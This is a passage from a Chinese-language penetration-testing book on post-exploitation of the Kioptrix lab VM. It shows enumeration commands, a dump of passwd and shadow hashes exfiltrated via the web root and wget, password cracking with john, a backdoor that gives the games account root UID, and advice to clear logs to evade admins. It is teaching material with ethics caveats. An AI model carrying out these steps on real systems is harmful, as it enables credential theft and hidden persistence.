如果系统使用静态配置的 IP,则可以在 RedHat 的/etc/sysconfig/network-scripts/ifcfg <interface name>或 Ubuntu 的/etc/network/interfaces中找到信息。

然后我们使用 cat 来查看dhcpcd-eth0.info的内容:

cd /etc/dhcpc
ls
dhcpcd-eth0.cache
dhcpcd-eth0.info
cat dhcpcd-eth0.info 
IPADDR=192.168.75.14
NETMASK=255.255.255.0
NETWORK=192.168.75.0
BROADCAST=192.168.75.255
GATEWAY=192.168.75.1
DOMAIN=localdomain
DNS=192.168.75.1
DHCPSID=192.168.75.1
DHCPGIADDR=0.0.0.0
DHCPSIADDR=0.0.0.0
DHCPCHADDR=08:00:27:21:21:62
DHCPSHADDR=08:00:27:DF:92:32
DHCPSNAME=
LEASETIME=86400
RENEWALTIME=43200
REBINDTIME=75600

现在我们知道了使用的网关、域、DNS 等信息。这种类型的信息将使我们能够更全面地了解系统和我们正在处理的网络。毕竟,在面向目标的渗透测试中,我们应该努力找到实际对业务有影响的东西。

确定连接

监听服务有时可以提供有关您所在系统的额外信息。出站连接可以让您了解系统的目的是什么。它们还可能指示网络上的潜在目标。如果在另一台服务器上有一个网络服务的活动连接,它可能正在使用稍后阶段可以收集的凭据。让我们来看看机器上运行的服务。

netstat -an 
netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:45295 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 192.168.75.14:45295 192.168.75.25:46759 ESTABLISHED
udp 0 0 0.0.0.0:32768 0.0.0.0:*
udp 0 0 127.0.0.1:32770 0.0.0.0:*
udp 0 0 192.168.75.14:137 0.0.0.0:*
udp 0 0 0.0.0.0:137 0.0.0.0:*
udp 0 0 192.168.75.14:138 0.0.0.0:*
udp 0 0 0.0.0.0:138 0.0.0.0:*
udp 0 0 0.0.0.0:843 0.0.0.0:*
udp 0 0 0.0.0.0:111 0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 8 [ ] DGRAM 912 /dev/log
unix 2 [ ACC ] STREAM LISTENING 1229 /dev/gpmctl
unix 2 [ ] DGRAM 1247
unix 2 [ ] DGRAM 1210
unix 2 [ ] DGRAM 1158
unix 2 [ ] DGRAM 1082
unix 2 [ ] DGRAM 966
unix 2 [ ] DGRAM 921
unix 2 [ ] STREAM CONNECTED 580

不幸的是,我们在这里没有什么有趣的东西可以看。

注意

请注意我们的连接是可见的。如果有人在观察连接,他们将能够阻止你的 IP,可能挫败你的攻击。在进行白盒测试时,还有可能在成功连接到服务器后,管理员会关闭你的连接。根据渗透测试的目标,这可能是管理员或安全专业人员采取的适当行动。

理想情况下,我们会看到来自网络上其他服务器的服务连接。这些信息可以帮助你确定下一步的步骤,甚至在确定你的优先级时。例如,如果有一个管理员使用 SSH 连接到这台机器,我们会想知道他是从哪里连接的,这样我们就可以尝试访问他的机器。

检查已安装的软件包

现在我们需要查看系统上安装了什么类型的软件。我们有足够的信息表明这个系统正在运行 Red Hat。使用 RPM 列出已安装的软件包。你可以使用--last选项来显示软件包最后修改的时间。我们将截断输出,但如果你跟着做,你会明白为什么将这些信息导入文件以供以后审查是很重要的。请注意,不同版本的 Linux 使用不同的软件包安装程序。RPM 对某些软件包有效,但不是全部。使用适合你目标操作系统的适当软件包列表命令。

rpm -qa --last
zlib-devel-1.1.3-24 Sat Sep 26 05:33:31 2009
libpng-devel-1.0.12-2 Sat Sep 26 05:33:31 2009
libodbc++-devel-0.2.2pre4-12 Sat Sep 26 05:33:30 2009
VFlib2-devel-2.25.1-20 Sat Sep 26 05:33:30 2009
unixODBC-devel-2.0.7-3 Sat Sep 26 05:33:29 2009
texinfo-4.0b-3 Sat Sep 26 05:33:29 2009
swig-1.1p5-10 Sat Sep 26 05:33:29 2009
strace-4.3-2 Sat Sep 26 05:33:28 2009
[TRUNCATED]

软件包存储库

有趣的是,许多公司使用本地软件包存储库来更新他们的基于 Linux 的系统。如果你能够破坏其中一个存储库,你可以在使用这些存储库的所有系统上安排安装后门。查看你的BackTrack系统,并尝试以下命令:

# cat /etc/apt/sources.list 
deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://64.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing

正如你所看到的,我们从一组非常具体的存储库中获取数据。这些存储库被世界各地的人访问,以更新他们的 BackTrack 实例。如果你所在的网络使用他们自己的存储库来进行更新,确保这些系统是完全安全的。所有指向这些存储库的系统都将从这些受信任的来源获取他们的文件…

在启动时运行的程序和服务

了解在启动时运行的程序和服务也非常重要。在 Kioptrix shell 中输入以下命令:

cd /etc/rc.d 
ls
init.d
rc
rc.local
rc.sysinit
rc0.d
rc1.d
rc2.d
rc3.d
rc4.d
rc5.d
rc6.d

如果我们查看rc.local文件,我们会看到以下内容:

cat rc.local 

#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
nmbd
smbd
httpd -D HAVE_SSL
touch /var/lock/subsys/local

Kioptrix 团队已经设置了几个项目,在系统启动时启动。为了更好地控制这些进程,它们可能会指向一个脚本,在它们各自的 rc0-6s 中启动。

搜索信息

一定要枚举目标设备的目录结构。很多时候,仅仅从安装的程序和相关的目录结构中看,就可以确定服务器的用途。看一下 Kioptrix 文件系统:

df -h
Filesystem Size Used Avail Use% Mounted on
/dev/hda5 374M 67M 287M 19% /
/dev/hda1 49M 5.9M 41M 13% /boot
/dev/hda3 554M 17M 509M 4% /home
none 125M 0 124M 0% /dev/shm
/dev/hda2 1.5G 576M 859M 41% /usr
/dev/hda7 248M 28M 207M 12% /var

现在我们知道分区是如何设置的,让我们看看我们正在处理什么:

cd /home
ls -oaF
total 29
drwxr-xr-x 5 root 4096 Sep 26 2009 ./
drwxr-xr-x 19 root 1024 Jan 3 23:40 ../
drwx------ 2 harold 4096 Nov 16 23:13 harold/
drwx------ 2 john 4096 Sep 26 2009 john/
drwxr-xr-x 2 root 16384 Sep 26 2009 lost+found/

在这里可以看到至少有两个用户主目录。如果我们想要下载整个目录结构和所有文件的列表,以便以后审查,我们可以使用 tree 并将输出放入文件中以供以后传输。

cd /
tree -iafFp > directoryListing

这个命令为我们提供了一个递归的目录列表。我们选择不用-i打印缩进,用-a显示所有文件,包括隐藏的文件,想要用-f看到整个文件路径,用-F在末尾添加字符,让我们知道我们是在查看文件还是目录,最后选择用-p查看文件权限

注意

生成的文件很大,在某些系统上甚至可能会导致资源使用量短暂增加,所以请谨慎操作。

如果我们查看文件的头部和尾部,我们可以以合理的方式看到我们的输出:

head directoryListing 
.
[-rw-r--r--] ./.autofsck
[drwxr-xr-x] ./bin/
[-rwxr-xr-x] ./bin/arch*
[-rwxr-xr-x] ./bin/ash*
[-rwxr-xr-x] ./bin/ash.static*
[-rwxr-xr-x] ./bin/aumix-minimal*
[lrwxrwxrwx] ./bin/awk -> gawk*
[-rwxr-xr-x] ./bin/basename*
[-rwxr-xr-x] ./bin/bash*
tail directoryListing 
[-rw-r--r--] ./var/www/icons/uuencoded.gif
[-rw-r--r--] ./var/www/icons/world1.gif
[-rw-r--r--] ./var/www/icons/world2.gif
[drwxr-xr-x] ./var/yp/
[-rw-r--r--] ./var/yp/Makefile
[drwxr-xr-x] ./var/yp/binding/
[-rw-r--r--] ./var/yp/nicknames
[-rw-r--r--] ./var/yp/securenets
2795 directories, 51774 files

这个特定的系统有超过 50,000 个文件需要审查。 使用有趣的文件名进行 Grep 搜索会节省大量时间。 还要仔细检查文件权限。 也许有一个可读可写的全局目录,可以在以后用于设置一些持久性。

历史文件和日志

可以审查历史文件和日志,以确定系统最近被用于什么目的。

# ls -la /root 

我们可以列出根目录的内容以寻找线索。

total 15
drwxr-x--- 4 root root 1024 Jan 3 21:42 .
drwxr-xr-x 19 root root 1024 Jan 7 14:39 ..
-rw-r--r-- 1 root root 1126 Aug 23 1995 .Xresources
-rw------- 1 root root 215 Nov 16 18:21 .bash_history 
-rw-r--r-- 1 root root 24 Jun 10 2000 .bash_logout
-rw-r--r-- 1 root root 234 Jul 5 2001 .bash_profile
-rw-r--r-- 1 root root 176 Aug 23 1995 .bashrc
-rw-r--r-- 1 root root 210 Jun 10 2000 .cshrc
-rw-rw-rw- 1 root root 11 Nov 13 21:14 .mh_profile
drwx------ 2 root root 1024 Jan 3 21:42 .ssh
-rw-r--r-- 1 root root 196 Jul 11 2000 .tcshrc
drwx------ 2 root root 1024 Nov 13 21:14 Mail
-rw-r--r-- 1 root root 1303 Sep 26 2009 anaconda-ks.cfg

查看.bash_history文件,看看最近使用了哪些命令:

cat /root/.bash_history 
ls
mail
mail
clear
echo "ls" > .bash_history && poweroff
nano /etc/issue
pico /etc/issue
pico /etc/issue
ls
clear
ls /home/
exit
ifconfig
[TRUNCATED]

我们发现 root 用户运行了一些有趣的命令,如mailnano /etc/issue。 查看/etc/issue,您将看到以下内容:

Welcome to Kioptrix Level 1 Penetration and Assessment Environment
--The object of this game:
|_Acquire "root" access to this machine.
There are many ways this can be done, try and find more then one way to
appreciate this exercise.
DISCLAIMER: Kioptrix is not responsible for any damage or instability
caused by running, installing or using this VM image.
Use at your own risk.
WARNING: This is a vulnerable system, DO NOT run this OS in a production
environment. Nor should you give this system access to the outside world
(the Internet - or Interwebs..)
Good luck and have fun!

查看邮件命令,您将看到有几条日志消息发送给系统管理员。 您会想要清理这些,因为它们包含可能会提醒管理员您一直在尝试访问该系统的信息。 在下一章中讨论检测规避时,我们将重新讨论这个问题。

请记住,系统上每个交互式用户都有一个.bash_history。 应该检查这些,看看是否有任何经常使用的文件或应用程序,可能包含有助于渗透测试的数据。

locate .bash_history 
/home/john/.bash_history
/home/harold/.bash_history
/root/.bash_history

提示

在审查目标系统时,使用通配符可能非常有帮助。 例如,尝试ls -al /home/*/或 cat/home/*/.bash_history。 这些命令是巨大的时间节省者,并且在为未知的系统配置编写脚本时非常出色。

我们需要查看/var/log中的一些日志:

cd /var/log
ls -laG
total 2419
drwxr-xr-x 8 root 2048 Jan 7 14:39 .
drwxr-xr-x 20 root 1024 Sep 26 2009 ..
-rw------- 1 root 23988 Jan 7 14:39 boot.log
-rw------- 1 root 8554 Jan 1 19:16 boot.log.1
-rw------- 1 root 3997 Dec 11 19:42 boot.log.2
-rw------- 1 root 20983 Nov 29 18:28 boot.log.3
-rw------- 1 root 16489 Nov 13 15:07 boot.log.4
-rw------- 1 root 78641 Jan 7 16:45 cron
-rw------- 1 root 94739 Jan 1 19:21 cron.1
-rw------- 1 root 10495 Dec 11 19:47 cron.2
-rw------- 1 root 63203 Nov 29 18:33 cron.3
-rw------- 1 root 8864 Nov 13 15:12 cron.4
-rw-r--r-- 1 root 5770 Jan 7 14:39 dmesg
drwxr-xr-x 2 root 1024 Jun 24 2001 fax
drwxr-xr-x 2 root 1024 Jan 7 14:44 httpd
-rw-r--r-- 1 root 49879 Jan 7 14:39 ksyms.0
-rw-r--r-- 1 root 49879 Jan 3 23:40 ksyms.1
-rw-r--r-- 1 root 49879 Jan 3 16:13 ksyms.2
-rw-r--r-- 1 root 49879 Jan 3 14:52 ksyms.3
-rw-r--r-- 1 root 49879 Jan 2 18:03 ksyms.4
-rw-r--r-- 1 root 49879 Jan 2 17:03 ksyms.5
-rw-r--r-- 1 root 49879 Jan 1 19:16 ksyms.6
-rw-r--r-- 1 root 19136220 Nov 16 23:13 lastlog
-rw------- 1 root 34690 Jan 7 16:48 maillog
-rw------- 1 root 1866 Jan 1 19:21 maillog.1
-rw------- 1 root 770 Dec 11 19:47 maillog.2
-rw------- 1 root 102520 Nov 29 18:33 maillog.3
-rw------- 1 root 1915 Nov 13 15:12 maillog.4
-rw------- 1 root 98074 Jan 7 14:44 messages
-rw------- 1 root 33312 Jan 1 19:16 messages.1
-rw------- 1 root 16485 Dec 11 19:42 messages.2
-rw------- 1 root 437542 Nov 29 18:28 messages.3
-rw------- 1 root 65865 Nov 13 15:07 messages.4
-rwx------ 1 postgres 0 Sep 26 2009 pgsql
-rw-r--r-- 1 root 10876 Jan 7 14:44 rpmpkgs
-rw-r--r-- 1 root 10876 Dec 14 04:02 rpmpkgs.1
-rw-r--r-- 1 root 10876 Nov 29 18:33 rpmpkgs.2
-rw-r--r-- 1 root 10876 Nov 17 04:02 rpmpkgs.3
-rw-r--r-- 1 root 10876 Nov 11 14:38 rpmpkgs.4
drwxr-xr-x 2 root 1024 Jan 7 14:40 sa
drwx------ 2 root 1024 Jan 1 19:21 samba
-rw------- 1 root 2033 Jan 7 15:32 secure
-rw------- 1 root 215 Jan 1 19:16 secure.1
-rw------- 1 root 73 Dec 11 19:42 secure.2
-rw------- 1 root 802251 Nov 29 18:32 secure.3
-rw------- 1 root 456 Nov 13 15:06 secure.4
-rw------- 1 root 0 Jan 1 19:21 spooler
-rw------- 1 root 0 Dec 11 19:47 spooler.1
-rw------- 1 root 0 Nov 29 18:33 spooler.2
-rw------- 1 root 0 Nov 13 15:12 spooler.3
-rw------- 1 root 0 Nov 10 19:34 spooler.4
drwxr-x--- 2 squid 1024 Aug 7 2001 squid
drwxr-xr-x 2 root 1024 Aug 27 2001 vbox
-rw-rw-r-- 1 root 43776 Jan 7 14:39 wtmp
-rw-rw-r-- 1 root 20736 Jan 1 19:16 wtmp.1
-rw------- 1 root 0 Jan 1 19:21 xferlog
-rw------- 1 root 0 Dec 11 19:47 xferlog.1
-rw------- 1 root 0 Nov 29 18:33 xferlog.2
-rw------- 1 root 0 Nov 13 15:12 xferlog.3
-rw------- 1 root 0 Nov 10 19:34 xferlog.4

浏览其中一些文件,并确保至少审查了重要文件,如messages, secure等。 渗透测试人员应该熟悉这些文件,就像日常管理员一样。 如果您不了解正在使用的操作系统,您的完全测试能力将受到限制。 查看安全日志,看看能找到多少信息:

tail secure 

Jan 2 20:09:13 kioptrix sshd[1969]: Connection closed by 192.168.75.18
Jan 2 20:09:13 kioptrix sshd[1970]: Connection closed by 192.168.75.18
Jan 2 20:09:14 kioptrix sshd[1973]: Connection closed by 192.168.75.18

在一本书的一个章节内审查太多日志文件。 确保熟悉您可以在系统上找到的数据。

配置、设置和其他文件

还有许多其他文件将提供与您的渗透测试相关的关键系统信息。 查看以下一些文件:

cat /etc/crontab 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
0-59/5 * * * * root /usr/bin/mrtg /etc/mrtg/mrtg.cfg

Crontab 允许我们安排任务。 这可以用于设置持久性或运行您无权运行的程序。 Crontab 将以 root 用户身份运行任务。

fstab是控制分区挂载方式的配置文件。

cat /etc/fstab
LABEL=/ / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
none /dev/pts devpts gid=5,mode=620 0 0
LABEL=/home /home ext3 defaults 1 2
none /proc proc defaults 0 0
none /dev/shm tmpfs defaults 0 0
LABEL=/usr /usr ext3 defaults 1 2
LABEL=/var /var ext3 defaults 1 2
/dev/hda6 swap swap defaults 0 0
/dev/cdrom /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0

以下是可能感兴趣的其他配置文件列表:

  • /etc/master.passwd

  • /etc/resolv.conf

  • /etc/apache2/httpd.conf/etc/httpd/conf/httpd.conf

  • /etc/exports

  • /etc/ldap/ldap.conf

  • /etc/samba/smb.conf

提示

挑战: 浏览目标系统,找到您最感兴趣的文件,然后创建一个允许您自动化整个过程的脚本!

其他可以提供有价值信息的文件包括/mnt, /media, /tmp, /opt,当然还有与目标机器上安装的项目相关的特定配置或数据文件。 例如,如果目标系统包含 Apache 的实例或任何其他特定软件,您会想要检查配置和日志文件。

用户和凭据

有几个文件控制用户访问系统及其文件。 除了收集有关网络和服务数据的其他部分,这可能是渗透后最重要的部分。 如果能够确定用户名和密码在网络中其他系统上有效,那么渗透测试成功的可能性将大大增加。 对于 Linux 系统,有几个文件可用于尝试获取用户凭据。

我们还应该使用w来检查谁已经在系统上:

w 
9:49pm up 7:09, 0 users, load average: 6.29, 2.65, 0.98
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

我们可以通过输入last:来确定最后登录的人是谁。

last 
last
reboot system boot 2.4.7-10 Sat Jan 7 14:39 (07:13)
reboot system boot 2.4.7-10 Tue Jan 3 23:40 (3+22:12)
wtmp begins Mon Jan 2 17:03:16 2012

看起来没有实际的用户登录。如前面的输出所示,使用last命令时也会显示重新启动。

确定最近是否有任何本地用户帐户访问系统的一种方法是使用lastlog,它将列出所有用户帐户和他们最后登录的时间:

lastlog
Username Port From Latest
root pts/0 192.168.75.12 Wed Nov 16 16:11:52 -0500 2011
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
lp **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
news **Never logged in**
uucp **Never logged in**
operator **Never logged in**
games **Never logged in**
gopher **Never logged in**
ftp **Never logged in**
nobody **Never logged in**
mailnull **Never logged in**
rpm **Never logged in**
xfs **Never logged in**
rpc **Never logged in**
rpcuser **Never logged in**
nfsnobody **Never logged in**
nscd **Never logged in**
ident **Never logged in**
radvd **Never logged in**
postgres **Never logged in**
apache **Never logged in**
squid **Never logged in**
pcap **Never logged in**
john pts/0 192.168.1.100 Sat Sep 26 11:32:02 -0400 2009
harold pts/0 192.168.75.12 Wed Nov 16 23:13:07 -0500 2011 

从输出中我们可以确定用户johnharold都已经登录到系统。一个是从192.168.1.100网络登录的,另一个是从192.168.75.12登录的。一旦我们从这两个帐户中获取了密码,我们应该首先确定这些系统是否在我们测试的范围内,如果是的话,我们应该尝试使用我们从 Kioptrix 机器收集到的凭据登录任何可用的服务。

在此期间,我们还应该枚举 SSH 密钥。我们可以查看/root/.ssh目录,看看是否有任何迹象表明存在这样的密钥:

ls -laG 
total 2
drwx------ 2 root 1024 Jan 3 21:42 .
drwxr-x--- 4 root 1024 Jan 7 15:14 ..

在这种情况下,Kioptrix 机器上没有可用的 SSH 密钥。让我们看看我们的 BackTrack 机器,看看结果是否类似。理想情况下,你会找到连接到远程机器所需的密钥。注意:这台机器必须通过 SSH 连接到其他机器。

root@bt:/# cd /root/.ssh
root@bt:~/.ssh# ls -laG
total 12
drwx------ 2 root 4096 2011-11-16 10:51 .
drwx------ 28 root 4096 2012-01-07 09:56 ..
-rw-r--r-- 1 root 270 2011-11-16 10:51 known_hosts
root@bt:~/.ssh# cat known_hosts 
|1|DbaaaaaaGlFWCelYp3KEaaaWTtE=|z7BPaaaaaafdYE1SW/HaIaJaaQk= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUWsrO7+VCG/sadfasdfasdffasdfas dfasdfasdfasdfasdfasdfasdfasdfasdfnu9ksKD1fA83RyelgSgRJNQg PfFU3gngNno1yN6ossqkcMQTI1CY5nF6iYePs=

一旦我们把基本工作做完,我们需要收集/etc/passwd和 shadow 文件,这样我们就可以尝试破解密码了。

cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:/:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nologin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
pcap:x:77:77::/var/arpwatch:/bin/nologin
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash
cat /etc/shadow 
root:$1$WasYaJER$pkIFNw3QPNYUjQvLaFr7A/:15294:0:99999:7::: 
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$X216PpNL$aMB5DK0mIxhg.BkiXmfjc/:15295:0:99999:7::: 

shadow 文件包含了所有的哈希用户帐户密码。我们需要将这些密码解密才能对我们有用。

注意

使用第三方来破解客户的密码并不是一个好主意,除非你的客户完全明白你正在将密码发送到一个你无法控制的环境,并意识到这一过程中的固有风险。如果是这种情况,请确保"书面确认"以确保如果出了问题密码泄露到网络上,你有所覆盖……注意:一个真正的攻击者会毫不犹豫地将这些文件发送给一个未知的第三方进行破解,但是一切都有限度,失去对客户数据的控制并不是一个好主意。毕竟,与真实世界的攻击者不同,你应该关心你正在测试的环境的安全性!

移动文件

到目前为止屏幕上已经有了很多数据。通常情况下,你会希望将这些数据推送回一个在你控制之下的系统。无论是一个你内部设置的受损系统作为存储库,还是直接连接回攻击系统,你都需要想出一些方法将这些数据传回。

注意

不要使用生产级别的开放 Web 服务器来存储或传输机密文件!一个经验法则是,你应该把客户数据当作自己的数据来对待,并且将关键的密码文件放在一个开放共享或任何其他不受控制的存储中是一个非常糟糕的主意。在现实生活中,你会建立一个安全的传输机制,在这个机制中你对数据有完全的控制。尽可能地,它还应该进行加密,特别是在通过互联网路由时。

Kioptrix 机器安装了一个开放的 Web 服务器,所以最简单的方法之一是将文件复制到对所有人开放的/var/www/html目录中。在 Kioptrix shell 中输入:

cp /etc/passwd /var/www/html/passwd
cp /etc/shadow /var/www/html/shadow
chmod 744 /var/www/html/shadow

通过输入以下内容在 BackTrack 上获取文件,这将创建一个名为kioptrixFiles的目录,将pwd更改为该目录,然后从 Kioptrix Web 服务器上拉取文件:

# mkdir kioptrixFiles
# cd kioptrixFiles
root@bt:~/kioptrixFiles# wget http://192.168.75.14/passwd
--2012-01-08 15:36:37-- http://192.168.75.14/passwd
Connecting to 192.168.75.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1330 (1.3K) [text/plain]
Saving to: `passwd'
100%[======================================>] 1,330 --.-K/s in 0s
2012-01-08 15:36:37 (25.1 MB/s) - `passwd' saved [1330/1330]
root@bt:~/kioptrixFiles# wget http://192.168.75.14/shadow 
--2012-01-08 15:44:08-- http://192.168.75.14/shadow
Connecting to 192.168.75.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 948 [text/plain]
Saving to: `shadow'
100%[====================================>] 948 --.-K/s in 0s
2012-01-08 15:44:08 (50.9 MB/s) - `shadow' saved [948/948]

shadowpasswd现在都在 BackTrack 的kioptrixFiles目录中。在继续之前,我们应该从 Kioptrix 机器上的 Web 服务器中删除这两个文件:

rm /var/www/html/shadow
rm /var/www/html/passwd

在 BackTrack 机器上打开一个 shell,并浏览到您的/pentest/passwords/john目录,我们将使用 unshadow 将 Kioptrix 的passwdshadow文件合并成kioptrixPW.db

# cd /pentest/passwords/john
# pentest/passwords/john# ./unshadow /root/kioptrixFiles/passwd /root/kioptrixFiles/shadow > /root/kioptrixFiles/kioptrixPW.db 

现在我们有了必要的文件,我们可以使用 john 尝试破解kioptrixPW.db中的哈希。

注意

请注意,破解密码可能需要几分钟、几小时,甚至几天,这取决于使用的密码的复杂性...

# root@bt:/pentest/passwords/john# john /root/kioptrixFiles/kioptrixPW.db 

在不使用漏洞的情况下更快地访问系统的方法是修改现有帐户。打开一个 shell 到您的 Kioptrix 机器,使用 samba(或任何其他允许 root 访问的漏洞),然后输入以下内容来更改 games 帐户,以允许登录和 root 访问。

cd /etc
awk -F ":" 'BEGIN{OFS = ":"} $1 == "games" {$3="0"}{$4="0"}{$7="/bin/bash"}{ print }' passwd > test 

由于我们在反向 shell 中受到的限制,我们使用awk来创建文件的修改版本。我们将用户和组 UID 更改为与 root 相等,并添加/bin/bash shell,以便我们可以远程登录。

cp passwd passwdOLD 

在更改任何现有文件之前,我们应该先备份它们。在为客户执行测试时,这一点尤为重要。

cp test passwd 

我们复制修改后的测试文件以覆盖passwd

chmod 644 passwd 

将权限更改回与原始文件相匹配可能会防止未来的复杂情况。

passwd games 
New password: 1funnypassword
Retype new password: 1funnypassword
Changing password for user games
passwd: all authentication tokens updated successfully

我们为 games 帐户添加了密码。当前的 SSH 帐户不允许空密码。

在 BackTrack 机器上打开一个新的终端,并使用您的新帐户连接回 Kioptrix。使用您为 games 帐户创建的密码(如果您完全跟随,密码为 1funnypassword):

root@bt:~/kioptrixFiles# ssh -l games 192.168.75.14 
games@192.168.75.14's password:
Last login: Mon Jan 9 00:35:42 2012 from 192.168.75.25
bash-2.05# whoami 
root

我们使用修改后的 games 帐户连接到 SSH 服务器。所有先前的 shell 限制现在已被移除,我们可以在系统上使用任何命令,比如visudo,而不会出错。

Microsoft Windows™后渗透

大多数您测试的环境将有许多基于 Windows™的系统。了解重要文件和设置的位置以及在处理您的漏洞 shell 所施加的限制时如何获取和审查它们是很重要的。在这里,我们将讨论获取这些数据所使用的各种方法。我们无法考虑到每个操作系统或可能性,但我们可以提供某人开始所需的基本知识。

注意

基于 Windows 的操作系统使用包含几乎任何您想要的数据的 GPO,以便在 Microsoft Windows 操作系统上进行后渗透信息收集。

为了跟随本节,您需要:

  • 一个注册的 Microsoft Windows XP SP2 副本:这台机器还需要分配一个额外的虚拟 NIC 给 Vlab_1 虚拟网络(192.168.50.0/24)。如果您已经跟随之前的章节,您将已经让 VirtualBox 分配 IP 地址给该虚拟段。

  • Kioptrix Level 1 连接到 Vlab_1(192.168.50.0/24)。

  • 连接到 VLAN1(192.168.75.0/24)的 BackTrack 客户机。

  • pfSense 客户机为 VLAN1 网络提供其 DHCP 地址。

注意

所有示例都将得到清晰的记录,以防您没有 Windows 机器可用于测试目的。

重要的目录和文件

在 Windows 机器中有许多重要的文件和目录。其中一些包括以下内容:

文件 路径
*.log %WINDIR%\system32\CCM\logs\*.log
AppEvent.Evt %WINDIR%\system32\config\AppEvent.Evt
boot.ini %SYSTEMDRIVE%\boot.ini
default.sav %WINDIR%\system32\config\default.sav
hosts %WINDIR%\System32\drivers\etc\hosts
index.dat Content.IE5\index.dat 和其他位置
NetSetup.log %WINDIR%\debug\NetSetup.log
ntuser.dat %USERPROFILE%\ntuser.dat
pagefile.sys %SYSTEMDRIVE%\pagefile.sys
SAM %WINDIR%\repair\sam
SecEvent.Evt %WINDIR%\system32\config\SecEvent.Evt
security.sav %WINDIR%\system32\config\security.sav
software.sav %WINDIR%\system32\config\software.sav
system %WINDIR%\repair\system
system.sav %WINDIR%\system32\config\system.sav
win.ini %WINDIR%\win.ini

使用 Armitage 进行后期利用

此时,我们应该已经熟悉了使用“老派”手动利用的方法。了解渗透测试的细节将增加在出现问题时排除更强大工具的能力。这也让你足够自信,最终能够创建自己的模块和概念验证利用代码。渗透测试的过程在每次测试中并不会真正改变:枚举和数据收集,利用,然后是后期利用。然而,可以使用许多不同的工具和方法来完成这些任务。在本节中,我们将利用 Armitage 的简便性和易用性,根据其网站和作者的说法,Armitage 是一个“Metasploit 的全面红队协作工具…” - www.fastandeasyhacking.com/manual 。Armitage 是由 Raphael Mudge 创建的,可以在fastandeasyhacking.com/上免费获取,并且也预装在 BackTrack 上。该网站上免费提供的手册写得很好,易于理解。

打开一个新的终端,输入:

# msfupdate 

这将更新你的 BackTrack 机器上的 Metasploit 框架。你需要连接到互联网才能使这个命令正常工作。

# armitage 

